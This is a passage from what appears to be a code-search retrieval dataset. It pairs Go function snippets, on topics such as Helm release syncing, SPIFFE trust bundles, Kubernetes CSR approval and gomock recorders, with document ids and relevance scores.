ensure that failed installations are correctly\n\t// retried.\n\tfor _, rel := range releases {\n\t\tif rel.GetInfo().GetStatus().GetCode() != rpb.Status_DEPLOYED {\n\t\t\t_, err := m.storageBackend.Delete(rel.GetName(), rel.GetVersion())\n\t\t\tif err != nil && !notFoundErr(err) {\n\t\t\t\treturn fmt.Errorf(\"failed to delete stale release version: %s\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Load the chart and config based on the current state of the custom resource.\n\tchart, config, err := m.loadChartAndConfig()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to load chart and config: %s\", err)\n\t}\n\tm.chart = chart\n\tm.config = config\n\n\t// Load the most recently deployed release from the storage backend.\n\tdeployedRelease, err := m.getDeployedRelease()\n\tif err == ErrNotFound {\n\t\t// render the chart here\n\t\tm.pendingRelease, err = renderRelease(ctx, m.tiller, m.tillerKubeClient, m.namespace, m.releaseName, chart, config)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to get candidate release: %s\", err)\n\t\t}\n\n\t\t// get the objects that will be created as part of the chart\n\t\tobjects, err := getReleaseObjects(m.pendingRelease)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to render candidate release: %s\", err)\n\t\t}\n\n\t\t// allow the caller to transform generated objects\n\t\tif transform != nil {\n\t\t\tm.objects, err = transform(objects)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to call transform function: %s\", err)\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t}\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to get deployed release: %s\", err)\n\t}\n\tm.deployedRelease = deployedRelease\n\tm.isInstalled = true\n\n\t// Get the next candidate release to determine if an update is necessary.\n\tm.pendingRelease, err = getCandidateRelease(ctx, m.tiller, m.releaseName, chart, config)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to get candidate release: %s\", err)\n\t}\n\n\t// get the objects that will be created as part of the chart\n\tobjects, err := getReleaseObjects(m.pendingRelease)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to render candidate release: %s\", err)\n\t}\n\n\t// allow the caller to transform generated objects\n\tif transform != nil {\n\t\tm.objects, err = transform(objects)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to call transform function: %s\", err)\n\t\t}\n\t}\n\n\t// get the deployed objects from last release\n\tdeployedObjects, err := getReleaseObjects(deployedRelease)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to render deployed release: %s\", err)\n\t}\n\n\t// compare the two object maps; we'll do this with maps\n\t/*\n\t\tif !reflect.DeepEqual(m.objects, deployedObjects) {\n\t\t\tm.isUpdateRequired = true\n\t\t}\n\t*/\n\n\tfor k, v := range deployedObjects {\n\t\tpendingObj := m.objects[k]\n\n\t\tif pendingObj == nil {\n\t\t\t// not in the pending release, object was deleted\n\t\t\tm.isUpdateRequired = true\n\t\t\tbreak\n\t\t}\n\n\t\t// compare the two objects, if the objects aren't equal, update required\n\t\tif !reflect.DeepEqual(pendingObj, v) {\n\t\t\tm.isUpdateRequired = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// check for new objects\n\tfor k := range m.objects {\n\t\tif deployedObjects[k] != nil {\n\t\t\t// existing objects were handled in the above loop\n\t\t\tcontinue\n\t\t}\n\n\t\t// at this point, the object is new in this release and must be created\n\t\tm.isUpdateRequired = true\n\t\tbreak\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "671bd4325f2a782eaabb30da016d28b6", "score": "0.35393018", "text": "func (s *DataStore) CreateBundle(ctx context.Context, req *datastore.CreateBundleRequest) (*datastore.CreateBundleResponse, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tbundle := req.Bundle\n\n\tif _, ok := s.bundles[bundle.TrustDomainId]; ok {\n\t\treturn nil, ErrBundleAlreadyExists\n\t}\n\n\ts.bundles[bundle.TrustDomainId] = cloneBundle(bundle)\n\n\treturn &datastore.CreateBundleResponse{\n\t\tBundle: cloneBundle(bundle),\n\t}, nil\n}", "title": "" }, { "docid": "26febceb835dca66d318446def22f68b", "score": "0.35380238", "text": "func (r *ProjectsLocationsDatasetsFhirStoresFhirService) ExecuteBundle(parent string, body_ io.Reader) *ProjectsLocationsDatasetsFhirStoresFhirExecuteBundleCall {\n\tc := &ProjectsLocationsDatasetsFhirStoresFhirExecuteBundleCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.parent = parent\n\tc.body_ = body_\n\treturn c\n}", "title": "" }, { "docid": "58929c9b3c2bdf97e719b84f088ea27f", "score": "0.3529165", "text": "func (b *Bundler) closeBundle() bool {\n\tif b.curBundle.items.Len() == 0 {\n\t\treturn false\n\t}\n\tb.closedBundles = append(b.closedBundles, b.curBundle)\n\tb.curBundle.items = b.itemSliceZero\n\tb.curBundle.size = 0\n\treturn true\n}", "title": "" }, { "docid": "8a29c2a834abdc87c5ef589b3a604f53", "score": "0.352481", "text": "func (o SparkLinkedServiceResponseOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v SparkLinkedServiceResponse) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "30e94ac9bce55e91ce129bbbad13859d", "score": "0.3514975", "text": "func (o PhoenixLinkedServiceOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v PhoenixLinkedService) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "367b9b876cbe0c19742d174b3a322952", "score": "0.35112566", "text": "func (s *WebIdentityService) AuthenticateFor(ctx context.Context, broker string, request *web.Request) web.Result {\n\tfor _, provider := range s.identityProviders {\n\t\tif provider.Broker() == broker {\n\t\t\tif authenticator, ok := provider.(WebAuthenticater); ok {\n\t\t\t\tif result := authenticator.Authenticate(ctx, request); result != nil {\n\t\t\t\t\ts.storeRedirectURL(request)\n\t\t\t\t\treturn result\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c48b10ea68125243dfbca415f86a022c", "score": "0.3507879", "text": "func (o GoogleAdWordsLinkedServiceOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v GoogleAdWordsLinkedService) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "2352080b8c2a2a280fe02af9b022b5ad", "score": "0.35061783", "text": "func (o *WindowsUniversalAppX) GetIsBundle() bool {\n\tif o == nil || o.IsBundle == nil {\n\t\tvar ret bool\n\t\treturn ret\n\t}\n\treturn *o.IsBundle\n}", "title": "" }, { "docid": "23c5f4623fedccc189b97ab9f53f6d3e", "score": "0.3485225", "text": "func (n *SdfFallback) FinishBundle(ctx context.Context) error {\n\tn.initRestInv.Reset()\n\tn.splitInv.Reset()\n\tn.trackerInv.Reset()\n\treturn n.PDo.FinishBundle(ctx)\n}", "title": "" }, { "docid": "fb7180eb84c0f5a4e059a30ffe5d4424", "score": "0.34615183", "text": "func (o SparkLinkedServiceOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v SparkLinkedService) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "b31ab740d47bd289e2d6039bdcc1ead3", "score": "0.34611845", "text": "func (g Service) SaveBundle(ctx context.Context, req *settingssvc.SaveBundleRequest, res *settingssvc.SaveBundleResponse) error {\n\tcleanUpResource(ctx, req.Bundle.Resource)\n\tif err := g.checkStaticPermissionsByBundleType(ctx, req.Bundle.Type); err != nil {\n\t\treturn err\n\t}\n\tif validationError := validateSaveBundle(req); validationError != nil {\n\t\treturn merrors.BadRequest(g.id, \"%s\", validationError)\n\t}\n\n\tr, err := g.manager.WriteBundle(req.Bundle)\n\tif err != nil {\n\t\treturn merrors.BadRequest(g.id, \"%s\", err)\n\t}\n\tres.Bundle = r\n\treturn nil\n}", "title": "" }, { "docid": "13bb754d9e0274cca6fb1d38f88d25ca", "score": "0.3453263", "text": "func (o ImpalaLinkedServiceResponseOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v ImpalaLinkedServiceResponse) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "f12065005132d0a09c4cafb681755ff8", "score": "0.3452137", "text": "func (r RetrieveDomainAuthCodeRequest) Send(ctx context.Context) (*RetrieveDomainAuthCodeResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &RetrieveDomainAuthCodeResponse{\n\t\tRetrieveDomainAuthCodeOutput: r.Request.Data.(*RetrieveDomainAuthCodeOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "9d19a2882836af94df81e9c732f7ffba", "score": "0.34481332", "text": "func isTrustDomainBeingEnforced(principal string) bool {\n\tidentityParts := strings.Split(principal, \"/\")\n\tif len(identityParts) != 5 {\n\t\t// If a principal is mis-configured and doesn't follow Spiffe format, e.g. \"sa/bar\",\n\t\t// there is really no trust domain from the principal, so the trust domain is also considered not being enforced.\n\t\treturn false\n\t}\n\t// Check if the first part of the spiffe string is \"*\" (as opposed to *-something or \"\").\n\treturn identityParts[0] != \"*\"\n}", "title": "" }, { "docid": "45970d8217fff59c2a1cf1cda5b486d6", "score": "0.34465423", "text": "func DeployRaidenServiceBundle(auth *bind.TransactOpts, backend bind.ContractBackend, _token_address common.Address) (common.Address, *types.Transaction, *RaidenServiceBundle, error) {\n\tparsed, err := abi.JSON(strings.NewReader(RaidenServiceBundleABI))\n\tif err != nil {\n\t\treturn common.Address{}, nil, nil, err\n\t}\n\taddress, tx, contract, err := bind.DeployContract(auth, parsed, common.FromHex(RaidenServiceBundleBin), backend, _token_address)\n\tif err != nil {\n\t\treturn common.Address{}, nil, nil, err\n\t}\n\treturn address, tx, &RaidenServiceBundle{RaidenServiceBundleCaller: RaidenServiceBundleCaller{contract: contract}, RaidenServiceBundleTransactor: RaidenServiceBundleTransactor{contract: contract}, RaidenServiceBundleFilterer: RaidenServiceBundleFilterer{contract: contract}}, nil\n}", "title": "" }, { "docid": "e34f61ea4c218517535c2be6ac17be31", "score": "0.34463722", "text": "func (r *JsPolicyReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) {\n\tlog := loghelper.NewFromExisting(r.Log, req.Name)\n\tlog.Debugf(\"reconcile started\")\n\n\t// Retrieve webhook config\n\tjsPolicy := &policyv1beta1.JsPolicy{}\n\tif err := r.Get(ctx, req.NamespacedName, jsPolicy); err != nil {\n\t\tif kerrors.IsNotFound(err) {\n\t\t\t// delete if it was a background policy\n\t\t\tr.ControllerPolicyManager.Delete(req.Name)\n\t\t\tdelete(r.controllerPolicyHash, req.Name)\n\t\t\treturn ctrl.Result{}, nil\n\t\t}\n\n\t\treturn ctrl.Result{}, err\n\t}\n\n\t// Hash the javascript\n\tbundleHash, err := r.hashBundle(jsPolicy.Spec.JavaScript, jsPolicy.Spec.Dependencies)\n\tif err != nil {\n\t\treturn ctrl.Result{}, errors.Wrap(err, \"hash bundle\")\n\t}\n\n\t// Get the bundle resource\n\tjsPolicyBundle := &policyv1beta1.JsPolicyBundle{}\n\terr = r.Get(ctx, req.NamespacedName, jsPolicyBundle)\n\tif err != nil {\n\t\tif kerrors.IsNotFound(err) == false {\n\t\t\treturn ctrl.Result{}, err\n\t\t}\n\n\t\tjsPolicyBundle = nil\n\t}\n\n\t// compile the bundle\n\tnewStatus, err := r.compileBundle(ctx, jsPolicy, jsPolicyBundle, bundleHash, log)\n\tif err != nil {\n\t\treturn ctrl.Result{}, err\n\t} else if newStatus != nil {\n\t\tjsPolicy.Status = *newStatus\n\t}\n\n\t// check if it was failed before\n\tif jsPolicy.Status.Phase == policyv1beta1.WebhookPhaseFailed && jsPolicy.Status.Reason == \"BundleJavascript\" {\n\t\t_ = r.deletePolicyWebhooks(ctx, jsPolicy)\n\t\tr.ControllerPolicyManager.Delete(jsPolicy.Name)\n\t\treturn ctrl.Result{}, r.Client.Status().Update(ctx, jsPolicy)\n\t}\n\n\t// if controller policy we make sure we are running it\n\tif jsPolicy.Spec.Type == policyv1beta1.PolicyTypeController {\n\t\tif jsPolicyBundle == nil {\n\t\t\treturn ctrl.Result{Requeue: true}, nil\n\t\t}\n\n\t\tif bundleHash == \"\" {\n\t\t\t// this is not a javascript hash, but it will work as well\n\t\t\tbundleHash = hash.String(string(jsPolicyBundle.Spec.Bundle))\n\t\t}\n\n\t\tbundleObject, err := json.Marshal(&backgroundHashObj{\n\t\t\tBundleHash: bundleHash,\n\t\t\tResources: jsPolicy.Spec.Resources,\n\t\t\tAPIGroups: jsPolicy.Spec.APIGroups,\n\t\t\tAPIVersions: jsPolicy.Spec.APIVersions,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn ctrl.Result{}, errors.Wrap(err, \"hash controller policy object\")\n\t\t}\n\n\t\tcompleteBundleHash := hash.String(string(bundleObject))\n\t\toldHash, ok := r.controllerPolicyHash[jsPolicy.Name]\n\t\tif !ok || oldHash != completeBundleHash {\n\t\t\tlog.Infof(\"Update controller policy %s\", jsPolicy.Name)\n\t\t\tr.controllerPolicyHash[jsPolicy.Name] = completeBundleHash\n\t\t\terr := r.ControllerPolicyManager.Update(jsPolicy, true)\n\t\t\tif err != nil {\n\t\t\t\tlog.Infof(\"Error starting controller policy: %v\", err)\n\t\t\t\tjsPolicy.Status.Phase = policyv1beta1.WebhookPhaseFailed\n\t\t\t\tjsPolicy.Status.Reason = \"StartController\"\n\t\t\t\tjsPolicy.Status.Message = err.Error()\n\t\t\t\tr.ControllerPolicyManager.Delete(jsPolicy.Name)\n\t\t\t\treturn ctrl.Result{}, r.Client.Status().Update(ctx, jsPolicy)\n\t\t\t}\n\t\t} else if jsPolicy.Status.Phase == policyv1beta1.WebhookPhaseFailed && jsPolicy.Status.Reason == \"StartController\" {\n\t\t\treturn ctrl.Result{}, nil\n\t\t}\n\n\t\t// check if it was failed before\n\t\tif jsPolicy.Status.Phase == policyv1beta1.WebhookPhaseFailed || jsPolicy.Status.Phase == \"\" {\n\t\t\tjsPolicy.Status.Phase = policyv1beta1.WebhookPhaseSynced\n\t\t\tjsPolicy.Status.Reason = \"\"\n\t\t\tjsPolicy.Status.Message = \"\"\n\t\t}\n\n\t\treturn ctrl.Result{}, r.Client.Status().Update(ctx, jsPolicy)\n\t}\n\n\t// sync webhook configuration\n\terr = r.syncWebhook(ctx, jsPolicy)\n\tif err != nil {\n\t\tjsPolicy.Status.Phase = policyv1beta1.WebhookPhaseFailed\n\t\tjsPolicy.Status.Reason = \"SyncWebhook\"\n\t\tjsPolicy.Status.Message = err.Error()\n\t\tlog.Errorf(\"Error syncing js policy %s: %v\", jsPolicy.Name, err)\n\t\treturn ctrl.Result{}, r.Status().Update(ctx, jsPolicy)\n\t}\n\n\t// check if it was failed before\n\tif jsPolicy.Status.Phase == policyv1beta1.WebhookPhaseFailed || jsPolicy.Status.Phase == \"\" {\n\t\tjsPolicy.Status.Phase = policyv1beta1.WebhookPhaseSynced\n\t\tjsPolicy.Status.Reason = \"\"\n\t\tjsPolicy.Status.Message = \"\"\n\t}\n\n\treturn ctrl.Result{}, r.Client.Status().Update(ctx, jsPolicy)\n}", "title": "" }, { "docid": "0e42a29c727e1e46a8a6bc6c28fc582f", "score": "0.34460652", "text": "func (o PrestoLinkedServiceResponseOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v PrestoLinkedServiceResponse) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "cda849aa219baea203d5c348c560a333", "score": "0.34441948", "text": "func (p *AFDCustomDomainsClientRefreshValidationTokenPoller) Done() bool {\n\treturn p.pt.Done()\n}", "title": "" }, { "docid": "97db15a4e9769a4a4938eed4df049f38", "score": "0.34439963", "text": "func (deployer *ServiceDeployer) RefreshManagedPackages(ma map[string]interface{}) error {\n\toptions := whisk.PackageListOptions{}\n\t// Get the list of packages in your namespace\n\tpackages, _, err := deployer.Client.Packages.List(&options)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// iterate over each package to find managed annotations\n\t// check if \"managed\" annotation is attached to a package\n\t// when managed project name matches with the current project name and project\n\t// hash differs, indicates that the package was part of the current project but\n\t// now is deleted from the manifest file and should be undeployed.\n\tfor _, pkg := range packages {\n\t\tif a := pkg.Annotations.GetValue(utils.MANAGED); a != nil {\n\t\t\t// decode the JSON blob and retrieve __OW_PROJECT_NAME and __OW_PROJECT_HASH\n\t\t\tpa := a.(map[string]interface{})\n\t\t\t// perform the similar check on the list of actions from this package\n\t\t\t// since package can not be deleted if its not empty (has any action or sequence)\n\t\t\tif err := deployer.RefreshManagedActions(pkg.Name, ma); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// we have found a package which was earlier part of the current project\n\t\t\tif pa[utils.OW_PROJECT_NAME] == ma[utils.OW_PROJECT_NAME] && pa[utils.OW_PROJECT_HASH] != ma[utils.OW_PROJECT_HASH] {\n\t\t\t\toutput := wski18n.T(wski18n.ID_MSG_MANAGED_FOUND_DELETED_X_key_X_name_X_project_X,\n\t\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\twski18n.KEY_KEY: parsers.YAML_KEY_PACKAGE,\n\t\t\t\t\t\twski18n.KEY_NAME: pkg.Name,\n\t\t\t\t\t\twski18n.KEY_PROJECT: pa[utils.OW_PROJECT_NAME]})\n\t\t\t\twskprint.PrintOpenWhiskWarning(output)\n\n\t\t\t\tvar err error\n\t\t\t\terr = retry(DEFAULT_ATTEMPTS, DEFAULT_INTERVAL, func() error {\n\t\t\t\t\t_, err := deployer.Client.Packages.Delete(pkg.Name)\n\t\t\t\t\treturn err\n\t\t\t\t})\n\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "dd35a640ac82361e0caf63ddfd6f02fc", "score": "0.34432724", "text": "func (r UpdateDomainRequest) Send(ctx context.Context) (*UpdateDomainResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &UpdateDomainResponse{\n\t\tUpdateDomainOutput: r.Request.Data.(*UpdateDomainOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "cfcd0700cabbd2805b6abc6d53fc8949", "score": "0.3435815", "text": "func (o *PatchV1IntegrationsConnectionsSlugConnectionIDRefreshOK) IsSuccess() bool {\n\treturn true\n}", "title": "" }, { "docid": "17b800fb3d5070359a9cd3907bdd4e52", "score": "0.3433147", "text": "func (s *EndpointsTestSuite) configureBundle() ([]tls.Certificate, *x509.CertPool) {\n\tsvid, svidKey, err := util.LoadSVIDFixture()\n\ts.Require().NoError(err)\n\tca, _, err := util.LoadCAFixture()\n\ts.Require().NoError(err)\n\n\t_, err = s.ds.CreateBundle(context.Background(), &datastore.CreateBundleRequest{\n\t\tBundle: bundleutil.BundleProtoFromRootCA(s.e.c.TrustDomain.String(), ca),\n\t})\n\ts.Require().NoError(err)\n\n\tcaPool := x509.NewCertPool()\n\tcaPool.AddCert(ca)\n\n\ts.e.svid = []*x509.Certificate{svid}\n\ts.e.svidKey = svidKey\n\treturn []tls.Certificate{\n\t\t{\n\t\t\tCertificate: [][]byte{svid.Raw},\n\t\t\tPrivateKey: svidKey,\n\t\t},\n\t}, caPool\n}", "title": "" }, { "docid": "2d0264973293b15eb3c984898750ee81", "score": "0.34328744", "text": "func (dahe DeployedApplicationsHealthEvaluation) AsUpgradeDomainDeployedApplicationsHealthEvaluation() (*UpgradeDomainDeployedApplicationsHealthEvaluation, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "2d0264973293b15eb3c984898750ee81", "score": "0.34328744", "text": "func (dahe DeployedApplicationsHealthEvaluation) AsUpgradeDomainDeployedApplicationsHealthEvaluation() (*UpgradeDomainDeployedApplicationsHealthEvaluation, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "2599885157999808b8c34dc75f3df4a8", "score": "0.34325013", "text": "func (g *DatalogGuard) ReloadIfModified() error {\n\tif g.Key == nil {\n\t\treturn nil\n\t}\n\tfile, err := os.Open(g.Config.GetSignedRulesPath())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\n\t// before parsing, check the timestamp\n\tinfo, err := file.Stat()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !info.ModTime().After(g.modTime) {\n\t\treturn nil\n\t}\n\n\tserialized, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar sdb SignedDatalogRules\n\tif err := proto.Unmarshal(serialized, &sdb); err != nil {\n\t\treturn err\n\t}\n\tif ok, err := g.Key.Verify(sdb.SerializedRules, DatalogRulesSigningContext, sdb.Signature); !ok {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn newError(\"datalog rule signature did not verify\")\n\t}\n\tvar db DatalogRules\n\tif err := proto.Unmarshal(sdb.SerializedRules, &db); err != nil {\n\t\treturn err\n\t}\n\t// Only clear the rules set, since g.assert already skips datalog rules that\n\t// are already present in the engine.\n\tg.db.Rules = nil\n\tg.modTime = info.ModTime()\n\tfor _, rule := range db.Rules {\n\t\tr, err := auth.UnmarshalForm(rule)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = g.assert(r)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b59c610158f13ea2c547034e72b44331", "score": "0.34318578", "text": "func (sahe SystemApplicationHealthEvaluation) AsUpgradeDomainDeployedApplicationsHealthEvaluation() (*UpgradeDomainDeployedApplicationsHealthEvaluation, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "b59c610158f13ea2c547034e72b44331", "score": "0.34318578", "text": "func (sahe SystemApplicationHealthEvaluation) AsUpgradeDomainDeployedApplicationsHealthEvaluation() (*UpgradeDomainDeployedApplicationsHealthEvaluation, bool) {\n\treturn nil, false\n}", "title": "" }, { "docid": "f83a32bf4c690f798cf6a022844a52ab", "score": "0.34282112", "text": "func (r ListRepositoriesInDomainRequest) Send(ctx context.Context) (*ListRepositoriesInDomainResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &ListRepositoriesInDomainResponse{\n\t\tListRepositoriesInDomainOutput: r.Request.Data.(*ListRepositoriesInDomainOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "a94892bd6e4899656f65a004074ae4dd", "score": "0.34210303", "text": "func (p *ManagedInstanceEncryptionProtectorsRevalidatePoller) Done() bool {\n\treturn p.pt.Done()\n}", "title": "" }, { "docid": "369d8c546b15b2b41d1409501fc7f8ba", "score": "0.3411871", "text": "func (o *SiteAllOfNameResolutionAzureResolvers) HasUseManagedIdentities() bool {\n\tif o != nil && o.UseManagedIdentities != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "208db0de76ec90aa81f4265e7a351c34", "score": "0.34095806", "text": "func (client BackupInstancesClient) ValidateForRestoreResponder(resp *http.Response) (result OperationJobExtendedInfo, err error) {\n\terr = autorest.Respond(\n\t\tresp,\n\t\tazure.WithErrorUnlessStatusCode(http.StatusOK, http.StatusAccepted),\n\t\tautorest.ByUnmarshallingJSON(&result),\n\t\tautorest.ByClosing())\n\tresult.Response = autorest.Response{Response: resp}\n\treturn\n}", "title": "" }, { "docid": "ef185daa36c826d4d6503d693d3cbd01", "score": "0.3404619", "text": "func (ctrl *ZkController) Resynced() bool {\n\treturn ctrl.resynced\n}", "title": "" } ]
5759f2fa241ee3abec9e823af86782ee
ApproveCsr indicates an expected call of ApproveCsr.
[ { "docid": "c9495c98b2580782a457a38309991681", "score": "0.7821408", "text": "func (mr *MockKubeActionsMockRecorder) ApproveCsr(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ApproveCsr\", reflect.TypeOf((*MockKubeActions)(nil).ApproveCsr), arg0, arg1)\n}", "title": "" } ]
[ { "docid": "38421958cc316c1518108a77b049cbc2", "score": "0.7916473", "text": "func (mr *MockSpokeK8sClientMockRecorder) ApproveCsr(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ApproveCsr\", reflect.TypeOf((*MockSpokeK8sClient)(nil).ApproveCsr), arg0, arg1)\n}", "title": "" }, { "docid": "c4059bd4dc470e2e85e520e8ff495ede", "score": "0.74283385", "text": "func (m *MockSpokeK8sClient) ApproveCsr(arg0 context.Context, arg1 *v1.CertificateSigningRequest) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ApproveCsr\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "7d7f783e11f392bdb4d8c8c07a473060", "score": "0.72442216", "text": "func (m *MockKubeActions) ApproveCsr(arg0 context.Context, arg1 string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ApproveCsr\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "61a7a60eb0dcf1b796d320f081c4959f", "score": "0.63586026", "text": "func Approve(clientSet k8s.Interface, csr *certv1.CertificateSigningRequest, reason, message string) error {\n\t// certificate already added to CSR\n\tif csr.Status.Certificate != nil {\n\t\treturn nil\n\t}\n\t// Check if the certificate is already approved but the certificate is still not available\n\tfor _, b := range csr.Status.Conditions {\n\t\tif b.Type == \"Approved\" {\n\t\t\treturn nil\n\t\t}\n\t}\n\t// Approve\n\tcsr.Status.Conditions = append(csr.Status.Conditions, certv1.CertificateSigningRequestCondition{\n\t\tType: certv1.CertificateApproved,\n\t\tReason: reason,\n\t\tMessage: message,\n\t\tLastUpdateTime: metav1.Now(),\n\t\tStatus: corev1.ConditionTrue,\n\t})\n\t_, errApproval := clientSet.CertificatesV1().CertificateSigningRequests().\n\t\tUpdateApproval(context.TODO(), csr.Name, csr, metav1.UpdateOptions{})\n\tif errApproval != nil {\n\t\treturn errApproval\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3baec01dcce9ec163382189c08fb4b04", "score": "0.6252627", "text": "func ApproveCSR(client *kubernetes.Clientset, csrName string) (*certsv1beta1.CertificateSigningRequest, error) {\n\tcsr, err := getCSRIfExists(client, csrName)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"couldn't get CSR: %v\", err)\n\t}\n\tif csr == nil {\n\t\treturn nil, fmt.Errorf(\"no CSR with name %s\", csrName)\n\t}\n\tif IsCSRApproved(csr) {\n\t\treturn csr, nil\n\t}\n\n\tcsr.Status.Conditions = append(csr.Status.Conditions,\n\t\tcertsv1beta1.CertificateSigningRequestCondition{\n\t\t\tType: certsv1beta1.CertificateApproved,\n\t\t\tReason: \"WCGApprove\",\n\t\t\tMessage: \"This CSR was approved by webhook certificate generator.\",\n\t\t\tLastUpdateTime: metav1.Now(),\n\t\t},\n\t)\n\n\treturn client.CertificatesV1beta1().CertificateSigningRequests().UpdateApproval(csr)\n}", "title": "" }, { "docid": "36e73e94e0cf918bbe6092c68866a370", "score": "0.6237459", "text": "func isCSRApproved(csr *certificatesv1.CertificateSigningRequest) bool {\n\tapproved := false\n\tfor _, condition := range csr.Status.Conditions {\n\t\tif condition.Type == certificatesv1.CertificateDenied {\n\t\t\treturn false\n\t\t} else if condition.Type == certificatesv1.CertificateApproved {\n\t\t\tapproved = true\n\t\t}\n\t}\n\n\treturn approved\n}", "title": "" }, { "docid": "2448fbcd8762ee4261214eed70dc28cb", "score": "0.61093277", "text": "func (_ERC20SucceedingMock *ERC20SucceedingMockSession) Approve(arg0 common.Address, arg1 *big.Int) (*types.Transaction, error) {\n\treturn _ERC20SucceedingMock.Contract.Approve(&_ERC20SucceedingMock.TransactOpts, arg0, arg1)\n}", "title": "" }, { "docid": "f85cc49549b4a80d511e1c59717051eb", "score": "0.6027119", "text": "func (_ERC20SucceedingMock *ERC20SucceedingMockTransactorSession) Approve(arg0 common.Address, arg1 *big.Int) (*types.Transaction, error) {\n\treturn _ERC20SucceedingMock.Contract.Approve(&_ERC20SucceedingMock.TransactOpts, arg0, arg1)\n}", "title": "" }, { "docid": "ba2f9c89ea6de676cb8c23f74719839f", "score": "0.6023027", "text": "func (_ERC20SucceedingMock *ERC20SucceedingMockTransactor) Approve(opts *bind.TransactOpts, arg0 common.Address, arg1 *big.Int) (*types.Transaction, error) {\n\treturn _ERC20SucceedingMock.contract.Transact(opts, \"approve\", arg0, arg1)\n}", "title": "" }, { "docid": "041f45dc4fd4c25c6ab1f971f666604e", "score": "0.5967224", "text": "func IsCSRApproved(csr *certsv1beta1.CertificateSigningRequest) bool {\n\tfor _, c := range csr.Status.Conditions {\n\t\tif c.Type == certsv1beta1.CertificateApproved {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "f4b2d75be25a86465761c0a2f51195fc", "score": "0.59188396", "text": "func (mr *MockCertificateMockRecorder) Approve(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn 